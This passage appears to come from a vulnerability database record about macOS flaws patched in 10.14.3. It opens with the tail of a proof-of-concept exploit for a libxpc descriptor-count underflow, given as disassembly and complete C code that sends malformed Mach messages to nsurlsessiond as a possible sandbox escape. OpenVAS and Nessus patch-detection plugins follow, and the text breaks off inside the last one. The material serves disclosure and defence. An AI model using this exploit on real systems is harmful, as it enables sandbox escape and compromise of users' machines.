to\r\nhave assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.\r\n\r\nIt turns out that libxpc does exactly that in _xpc_serializer_unpack:\r\n\r\n__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message\r\n__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set\r\n...\r\n__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67\u2191j\r\n__text:000000000000703F mov rax, rbx\r\n__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0\r\n__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor\r\n__text:0000000000007049 mov ecx, 0FF000000h\r\n__text:000000000000704E and ecx, [rax+24h]\r\n__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?\r\n__text:0000000000007057 jnz short loc_7089\r\n__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit\r\n__text:0000000000007062 mov r9, [rbx] ; save the address field\r\n__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later\r\n__text:0000000000007069 lea rax, __xpc_serializer_munmap\r\n__text:0000000000007070 mov [r12+48h], rax\r\n__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff\r\n__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message\r\n__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc\r\n__text:0000000000007082 mov eax, 2Ch ; ','\r\n__text:0000000000007087 jmp short loc_7094\r\n__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0\r\n__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)\r\n\r\nThe code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.\r\n\r\nBy specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed\r\nwhich will cause names read from our fake descriptors to be passed to mach_port_deallocate().\r\n\r\nYou can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting\r\nfor the port name 0x414141 to be passed in rsi.\r\n\r\nThere is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations\r\nso you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.\r\n\r\nStill, it would be a nice sandbox escape on MacOS.\r\n\r\nTested on MacOS 10.14.1 (18B75)\r\n\r\n#endif\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\n#include <mach/mach.h>\r\n\r\nkern_return_t\r\nbootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);\r\n\r\nstruct xpc_w00t {\r\n mach_msg_header_t hdr;\r\n mach_msg_body_t body;\r\n mach_msg_port_descriptor_t client_port;\r\n mach_msg_port_descriptor_t reply_port;\r\n};\r\n\r\nstatic int\r\nxpc_checkin(\r\n mach_port_t service_port,\r\n mach_port_t* client_port,\r\n mach_port_t* reply_port)\r\n{\r\n // allocate the client and reply port:\r\n kern_return_t err;\r\n err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"port allocation failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n }\r\n\r\n // insert a send so we maintain the ability to send to this port\r\n err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"port right insertion failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n }\r\n\r\n err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"port allocation failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n }\r\n\r\n struct xpc_w00t msg;\r\n memset(&msg.hdr, 0, sizeof(msg));\r\n msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);\r\n msg.hdr.msgh_size = sizeof(msg);\r\n msg.hdr.msgh_remote_port = service_port;\r\n msg.hdr.msgh_id = 'w00t';\r\n \r\n msg.body.msgh_descriptor_count = 2;\r\n\r\n msg.client_port.name = *client_port;\r\n msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send\r\n msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;\r\n\r\n msg.reply_port.name = *reply_port;\r\n msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;\r\n msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;\r\n \r\n err = mach_msg(&msg.hdr,\r\n MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\r\n msg.hdr.msgh_size,\r\n 0,\r\n MACH_PORT_NULL,\r\n MACH_MSG_TIMEOUT_NONE,\r\n MACH_PORT_NULL);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"w00t message send failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n } else {\r\n printf(\"sent xpc w00t message\\n\");\r\n }\r\n\r\n return 1;\r\n}\r\n\r\nstruct xpc_bad_ool {\r\n mach_msg_header_t hdr;\r\n mach_msg_body_t body;\r\n mach_msg_ool_descriptor_t ool0;\r\n mach_msg_port_descriptor_t port1;\r\n mach_msg_ool_descriptor_t ool2;\r\n};\r\n\r\n\r\nvoid bad_xpc(mach_port_t p) {\r\n kern_return_t err;\r\n struct xpc_bad_ool msg = {0};\r\n\r\n msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);\r\n msg.hdr.msgh_size = sizeof(msg);\r\n msg.hdr.msgh_remote_port = p;\r\n msg.hdr.msgh_id = 0x10000000;\r\n \r\n msg.body.msgh_descriptor_count = 0;\r\n\r\n msg.ool0.address = 0x414141414141;\r\n msg.ool0.size = 0x4000;\r\n msg.ool0.type = MACH_MSG_OOL_DESCRIPTOR;\r\n \r\n msg.port1.name = 0x41414141; // port name to mach_port_deallocate in target\r\n msg.port1.disposition = 0x11;\r\n msg.port1.type = MACH_MSG_PORT_DESCRIPTOR;\r\n \r\n msg.ool2.address = 0x414141414141;\r\n msg.ool2.size = 0x4000;\r\n msg.ool2.type = MACH_MSG_OOL_DESCRIPTOR;\r\n \r\n\r\n err = mach_msg(&msg.hdr,\r\n MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\r\n msg.hdr.msgh_size,\r\n 0,\r\n MACH_PORT_NULL,\r\n MACH_MSG_TIMEOUT_NONE,\r\n MACH_PORT_NULL);\r\n if (err != KERN_SUCCESS) {\r\n printf(\"xpc message send failed: %s\\n\", mach_error_string(err));\r\n exit(EXIT_FAILURE);\r\n } else {\r\n printf(\"sent xpc message\\n\");\r\n }\r\n\r\n}\r\n\r\n// lookup a launchd service:\r\nstatic mach_port_t\r\nlookup(\r\n char* name)\r\n{\r\n mach_port_t service_port = MACH_PORT_NULL;\r\n kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);\r\n if(err != KERN_SUCCESS){\r\n printf(\"unable to look up %s\\n\", name);\r\n return MACH_PORT_NULL;\r\n }\r\n \r\n if (service_port == MACH_PORT_NULL) {\r\n printf(\"bad service port\\n\");\r\n return MACH_PORT_NULL;\r\n }\r\n return service_port;\r\n}\r\n\r\nvoid\r\nxpc_connect(\r\n char* service_name,\r\n mach_port_t* xpc_client_port,\r\n mach_port_t* xpc_reply_port)\r\n{\r\n mach_port_t service_port = lookup(service_name);\r\n xpc_checkin(service_port, xpc_client_port, xpc_reply_port);\r\n mach_port_destroy(mach_task_self(), service_port);\r\n}\r\n\r\nint main() {\r\n mach_port_t service_port = lookup(\"com.apple.nsurlsessiond\");\r\n\r\n mach_port_t xpc_client_port = MACH_PORT_NULL;\r\n mach_port_t xpc_reply_port = MACH_PORT_NULL;\r\n\r\n xpc_checkin(service_port, &xpc_client_port, &xpc_reply_port);\r\n printf(\"xpc_client_port: %x\\n\", xpc_client_port);\r\n printf(\"checked in?\\n\");\r\n\r\n bad_xpc(xpc_client_port);\r\n\r\n return 0;\r\n}", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/46297"}], "openvas": [{"lastseen": "2019-05-29T18:32:04", "bulletinFamily": "scanner", "description": "This host is installed with Apple Mac OS X\n and is prone to multiple vulnerabilities.", "modified": "2019-05-22T00:00:00", "published": "2019-01-23T00:00:00", "id": "OPENVAS:1361412562310814818", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310814818", "title": "Apple MacOSX Security Updates(HT209446)-03", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Apple MacOSX Security Updates(HT209446)-03\n#\n# Authors:\n# Vidita V Koushik <vidita@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2019 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.814818\");\n script_version(\"2019-05-22T13:05:41+0000\");\n script_cve_id(\"CVE-2019-6218\", \"CVE-2019-6208\", \"CVE-2019-6210\", \"CVE-2019-6205\",\n \"CVE-2019-6213\", \"CVE-2019-6214\", \"CVE-2019-6220\", \"CVE-2019-6230\",\n \"CVE-2019-6231\", \"CVE-2019-6225\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-05-22 13:05:41 +0000 (Wed, 22 May 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-01-23 10:31:23 +0530 (Wed, 23 Jan 2019)\");\n script_name(\"Apple MacOSX Security Updates(HT209446)-03\");\n\n script_tag(name:\"summary\", value:\"This host is installed with Apple Mac OS X\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exist due to,\n\n - Multiple memory corruption issues which were addressed with improved input\n validation and lock state checking.\n\n - A memory initialization issue which was addressed with improved memory handling.\n\n - A buffer overflow issue which was addressed with improved bounds checking.\n\n - A type confusion issue which was addressed with improved memory handling.\n\n - Multiple out-of-bounds read issues which were addressed with improved input\n validation and bounds checking.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow remote\n attackers to execute arbitrary code with kernel privileges, cause unexpected\n changes in memory shared between processes, elevate privileges and read\n restricted memory. A malicious application may be able to break out of its\n sandbox.\");\n\n script_tag(name:\"affected\", value:\"Apple Mac OS X versions\n 10.12.x through 10.12.6 build 16G1710, 10.13.x through 10.13.6 build 17G4015,\n 10.14.x through 10.14.2\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Apple Mac OS X 10.14.3 or later,\n or Apply appropriate patch for 10.12.x or 10.13.x versions. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT209446\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Mac OS X Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/osx_name\", \"ssh/login/osx_version\", re:\"ssh/login/osx_version=^10\\.1[2-4]\\.\");\n exit(0);\n}\n\ninclude(\"version_func.inc\");\n\nosName = get_kb_item(\"ssh/login/osx_name\");\nif(!osName)\n exit(0);\n\nosVer = get_kb_item(\"ssh/login/osx_version\");\nif(!osVer|| osVer !~ \"^10\\.1[2-4]\\.\"|| \"Mac OS X\" >!< osName){\n exit(0);\n}\n\nbuildVer = get_kb_item(\"ssh/login/osx_build\");\n\nif(osVer =~ \"^10\\.12\")\n{\n if(version_in_range(version:osVer, test_version:\"10.12\", test_version2:\"10.12.5\")){\n fix = \"Upgrade to latest OS release and apply patch from vendor\";\n }\n\n else if(osVer == \"10.12.6\")\n {\n if(osVer == \"10.12.6\" && version_is_less(version:buildVer, test_version:\"16G1815\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n }\n}\n\nif(osVer =~ \"^10\\.13\")\n{\n if(version_in_range(version:osVer, test_version:\"10.13\", test_version2:\"10.13.5\")){\n fix = \"Upgrade to latest OS release and apply patch from vendor\";\n }\n\n else if(osVer == \"10.13.6\")\n {\n if(osVer == \"10.13.6\" && version_is_less(version:buildVer, test_version:\"17G5019\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n }\n}\n\nif(version_in_range(version:osVer, test_version:\"10.14\",test_version2:\"10.14.2\")){\n fix = \"10.14.3\";\n}\n\nif(fix)\n{\n report = report_fixed_ver(installed_version:osVer, fixed_version:fix);\n security_message(data:report);\n exit(0);\n}\n\nexit(99);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2019-11-03T11:31:07", "bulletinFamily": "scanner", "description": "The remote host is running a version of macOS / Mac OS X that is\n10.14.x prior to 10.14.3. It is, therefore, affected by multiple\nvulnerabilities related to the following components:\n\n - AppleKeyStore\n - Bluetooth\n - Core Media\n - CoreAnimation\n - FaceTime\n - IOKit\n - Kernel\n - libxpc\n - Natural Language Processing\n - QuartzCore\n - SQLite\n - WebRTC\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.", "modified": "2019-11-02T00:00:00", "id": "MACOS_10_14_3.NASL", "href": "https://www.tenable.com/plugins/nessus/121393", "published": "2019-01-25T00:00:00", "title": "macOS 10.14.x < 10.14.3 Multiple Vulnerabilities", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(121393);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/10/31 15:18:51\");\n\n script_cve_id(\n \"CVE-2018-20346\",\n \"CVE-2018-20505\",\n \"CVE-2018-20506\",\n \"CVE-2019-6200\",\n \"CVE-2019-6202\",\n \"CVE-2019-6205\",\n \"CVE-2019-6208\",\n \"CVE-2019-6209\",\n \"CVE-2019-6210\",\n \"CVE-2019-6211\",\n \"CVE-2019-6213\",\n \"CVE-2019-6214\",\n \"CVE-2019-6218\",\n \"CVE-2019-6219\",\n \"CVE-2019-6220\",\n \"CVE-2019-6221\",\n \"CVE-2019-6224\",\n \"CVE-2019-6225\",\n \"CVE-2019-6230\",\n \"CVE-2019-6231\",\n \"CVE-2019-6235\"\n );\n script_bugtraq_id(106323, 106693, 106694);\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-1-22-2\");\n\n script_name(english:\"macOS 10.14.x < 10.14.3 Multiple Vulnerabilities\");\n script_summary(english:\"Checks the version of Mac OS X / macOS.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS update that fixes multiple security\nvulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS / Mac OS X that is\n10.14.x prior to 10.14.3. It is, therefore, affected by multiple\nvulnerabilities related to the following components:\n\n - AppleKeyStore\n - Bluetooth\n - Core Media\n - CoreAnimation\n - FaceTime\n - IOKit\n - Kernel\n - libxpc\n - Natural Language Processing\n - QuartzCore\n - SQLite\n - WebRTC\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT209446\");\n # https://lists.apple.com/archives/security-announce/2019/Jan/msg00001.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?a77b9bea\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS version 10.14.3 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-6218\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/01/22\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/01/22\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/01/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/OS\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\n\nfix = \"10.14.3\";\nminver = \"10.14\";\n\nos = get_kb_item(\"Host/MacOSX/Version\");\nif (!os)\n{\n os = get_kb_item_or_exit(\"Host/OS\");\n if (\"Mac OS X\" >!< os) audit(AUDIT_OS_NOT, \"macOS / Mac OS X\");\n\n c = get_kb_item(\"Host/OS/Confidence\");\n if (c <= 70) exit(1, \"Can't determine the host's OS with sufficient confidence.\");\n}\nif (!os) audit(AUDIT_OS_NOT, \"macOS / Mac OS X\");\n\nmatches = pregmatch(pattern:\"Mac OS X ([0-9]+(\\.[0-9]+)+)\", string:os);\nif (empty_or_null(matches)) exit(1, \"Failed to parse the macOS / Mac OS X version ('\" + os + \"').\");\n\nversion = matches[1];\n\nif (ver_compare(ver:version, minver:minver, fix:fix, strict:FALSE) == -1)\n{\n security_report_v4(\n port:0,\n severity:SECURITY_HOLE,\n extra:\n '\\n Installed version : ' + version +\n '\\n Fixed version : ' + fix +\n '\\n'\n );\n}\nelse audit(AUDIT_INST_VER_NOT_VULN, \"macOS / Mac OS X\", version);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-03T11:32:53", "bulletinFamily": "scanner", "description": "The remote host is running macOS 10.13.6 and is missing a security\nupdate. It is therefore, affected by multiple vulnerabilities in \nthe following components:\n\n - Bluetooth\n - Core Media\n - CoreAnimation\n - FaceTime\n - Hypervisor\n - Intel Graphics Driver\n - IOKit\n - Kernel\n - libxpc\n - QuartzCore", "modified": "2019-11-02T00:00:00", "id": "MACOSX_SECUPD_10_13_6_2019-001.NASL", "href": "https://www.tenable.com/plugins/nessus/121392", "published": "2019-01-25T00:00:00", "title": "macOS 10.13.6 Multiple Vulnerabilities (Security Update 2019-001)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(121392);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/10/31 15:18:51\");\n\n script_cve_id(\n \"CVE-2018-4452\",\n \"CVE-2018-4467\",\n \"CVE-2019-6200\",\n \"CVE-2019-6202\",\n \"CVE-2019-6205\",\n \"CVE-2019-6208\",\n \"CVE-2019-6209\",\n \"CVE-2019-6210\",\n \"CVE-2019-6213\",\n \"CVE-2019-6214\",\n \"CVE-2019-6218\",\n \"CVE-2019-6220\",\n \"CVE-2019-6221\",\n \"CVE-2019-6224\",\n \"CVE-2019-6225\",\n \"CVE-2019-6230\",\n \"CVE-2019-6231\"\n );\n script_bugtraq_id(106693, 106694);\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-1-22-2\");\n\n script_name(english:\"macOS 10.13.6 Multiple Vulnerabilities (Security Update 2019-001)\");\n script_summary(english:\"Checks for the presence of Security Update 2019-001\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS security update that fixes\nmultiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running macOS 10.13.6 and is missing a security\nupdate. It is therefore, affected by multiple vulnerabilities in \nthe following components:\n\n - Bluetooth\n - Core Media\n - CoreAnimation\n - FaceTime\n - Hypervisor\n - Intel Graphics Driver\n - IOKit\n - Kernel\n - libxpc\n - QuartzCore\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT209446\");\n # https://lists.apple.com/archives/security-announce/2019/Jan/msg00001.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?a77b9bea\");\n script_set_attribute(attribute:\"solution\", value:\n\"Install Security Update 2019-001 or later for 10.13.6.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-6218\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/01/22\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/01/22\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/01/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/MacOSX/Version\", \"Host/MacOSX/packages/boms\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\n\nget_kb_item_or_exit(\"Host/local_checks_enabled\");\nos = get_kb_item_or_exit(\"Host/MacOSX/Version\");\n\nif (!preg(pattern:\"Mac OS X 10\\.(13\\.6)([^0-9]|$)\", string:os))\n audit(AUDIT_OS_NOT, \"macOS 10.13.6\");\n\nif (\"10.13.6\" >< os)\n patch = \"17G5019\";\n\n# Get sec/supplemental boms ; 10.13.x is using 'Supplemental' now\npackages = get_kb_item_or_exit(\"Host/MacOSX/packages/boms\", exit_code:1);\nsec_boms_report = pgrep(\n pattern:\"^com\\.apple\\.pkg\\.update\\.(security\\.|os\\.SecUpd|os\\.10\\.13\\.6Supplemental\\.).*bom$\",\n string:packages\n);\nsec_boms = split(sec_boms_report, sep:'\\n');\n\nforeach package (sec_boms)\n{\n # Grab ID string, e.g., grab '17G3025' from string like :\n # /System/Library/Receipts/com.apple.pkg.update.os.SecUpd2018-002Sierra.17G3025.bom\n matches = pregmatch(pattern:\"Sierra\\.([^.]+)\\.bom$\", string:package);\n if (empty_or_null(matches)) continue;\n if (empty_or_null(matches[1]))\n continue;\n\n if (matches[1] >= patch)\n patch_found = TRUE;\n if (patch_found) exit(0, \"The host has Security Update 2019-001 (17G5019) or later installed and is therefore not affected.\");\n}\n\nreport = '\\n Missing security update : 2019-001';\nreport += '\\n Installed security BOMs : ';\nif (sec_boms_report) report += str_replace(find:'\\n', replace:'\\n ', string:sec_boms_report);\nelse report += 'n/a';\nreport += '\\n';\n\nsecurity_report_v4(port:0, severity:SECURITY_HOLE, extra:report);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-03T11:32:50", "bulletinFamily": "scanner", "description": "The remote host is running Mac OS X 10.12.6 and is missing a security\nupdate. It is therefore, affected by multiple vulnerabilities in the \nfollowing components:\n\n - CoreAnimation\n - Hypervisor\n - Intel Graphics Driver\n - IOKit\n - Kernel\n - libxpc\n - QuartzCore", "modified": "2019-11-02T00:00:00", "id": "MACOSX_SECUPD2019-001.NASL", "href": "https://www.tenable.com/plugins/nessus/121391", "published": "2019-01-25T00:00:00", "title": "macOS and Mac OS X Multiple Vulnerabilities (Security Update 2019-001)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(121391);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/10/31 15:18:51\");\n\n script_cve_id(\n \"CVE-2018-4452\",\n \"CVE-2018-4467\",\n \"CVE-2019-6205\",\n \"CVE-2019-6208\",\n \"CVE-2019-6209\",\n \"CVE-2019-6210\",\n \"CVE-2019-6213\",\n \"CVE-2019-6214\",\n \"CVE-2019-6218\",\n \"CVE-2019-6220\",\n \"CVE-2019-6224\",\n \"CVE-2019-6225\",\n \"CVE-2019-6230\",\n \"CVE-2019-6231\"\n );\n script_bugtraq_id(106693);\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-1-22-2\");\n\n script_name(english:\"macOS and Mac OS X Multiple Vulnerabilities (Security Update 2019-001)\");\n script_summary(english:\"Checks for the presence of Security Update 2019-001.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS or Mac OS X security update that\nfixes multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running Mac OS X 10.12.6 and is missing a security\nupdate. It is therefore, affected by multiple vulnerabilities in the \nfollowing components:\n\n - CoreAnimation\n - Hypervisor\n - Intel Graphics Driver\n - IOKit\n - Kernel\n - libxpc\n - QuartzCore\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT209446\");\n # https://lists.apple.com/archives/security-announce/2019/Jan/msg00001.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?a77b9bea\");\n script_set_attribute(attribute:\"solution\", value:\n\"Install Security Update 2019-001 or later for 10.12.x.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-6218\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/01/22\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/01/22\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/01/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/MacOSX/Version\", \"Host/MacOSX/packages/boms\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\n# Compare 2 patch numbers to determine if patch requirements are satisfied.\n# Return true if this patch or a later patch is applied\n# Return false otherwise\nfunction check_patch(year, number)\n{\n local_var p_split = split(patch, sep:\"-\");\n local_var p_year = int( p_split[0]);\n local_var p_num = int( p_split[1]);\n\n if (year > p_year) return TRUE;\n else if (year < p_year) return FALSE;\n else if (number >= p_num) return TRUE;\n else return FALSE;\n}\n\nget_kb_item_or_exit(\"Host/local_checks_enabled\");\nos = get_kb_item_or_exit(\"Host/MacOSX/Version\");\n\nif (!preg(pattern:\"Mac OS X 10\\.12\\.6([^0-9]|$)\", string:os))\n audit(AUDIT_OS_NOT, \"Mac OS X 10.12.6\");\n\npatch = \"2019-001\";\n\npackages = get_kb_item_or_exit(\"Host/MacOSX/packages/boms\", 